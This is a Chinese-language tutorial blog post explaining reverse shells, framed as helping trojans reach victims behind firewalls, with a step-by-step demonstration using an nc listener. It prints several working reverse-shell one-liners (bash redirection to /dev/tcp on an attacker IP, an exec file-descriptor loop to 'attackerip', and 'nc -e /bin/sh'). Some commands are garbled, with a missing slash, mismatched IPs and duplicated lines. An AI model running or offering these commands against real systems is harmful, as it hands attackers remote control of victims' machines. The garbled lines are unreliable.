小编给大家分享一下反弹shell是什么意思,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!
*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
0x00 前言
反弹shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
通俗点说,反弹shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
为什么要反弹shell
? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web
服务,ssh
,telnet
等等,都是正向连接。
那么什么情况下正向连接不太好用了呢:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的
ip
会动态改变,你不能持续控制。3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell
。
0x01 反弹shell演示
我们用bash
远程代码执行漏洞实例来了解一下他的原理
攻击端:10.100.40.5 受害机:192.168.197.136
首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333
然后在受害机执行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell
,在我们的攻击端就能对受害端来进行下一步操作
例如:
0x02 原理
2.1 反弹shell的命令原理
1)bash -i
bash
是linux
的一个比较常见的shell
,是许多Linux
发行版的默认Shell
。-i
这个参数的意思是产生交互式的shell
2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux
下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket
通信
我们输出字符到/dev/tcp
这个文件中
受害端:
攻击端:
4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333
端口,并且在攻击端输入内容回车就会出现在受害端。
5)这样思路就比较清晰了,下面再说交互重定向:
为了实现交互,我们需要把受害者交互式shell
的输出重定向到攻击机上;
在受害者机器上输入:
bash -i > /dev/tcp 10.100.40.5/2333
然后我们发现无论输入什么指令都不会有回显,回显出现在了攻击端标准输出被定向到了攻击端。
这样只是回显而已,并没有办法在攻击端直接执行命令。
6)所以我们还需要将攻击者输入的指令输入给受害者的bash
:
bash -i < /dev/tcp/10.100.40.5/2333
这样就会做到在攻击端输入命令,回显到受害端:
7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到/dev/tcp
这个文件下。
命令:
bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
2.2 常见反弹shell方法
1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0<&1 bash -i>& /dev/tcp/10.100.40.5/2333 0<&1
这两个几乎是一样的唯一的区别是0>&1
和0<&1
,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。
2) 方法二
bash -i >& /dev/tcp/10.100.40.5/2333 <&2 bash -i >& /dev/tcp/10.100.40.5/2333 0<&2
3) 方法三
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
4) 方法四
nc -e /bin/sh 10.100.40.5 2333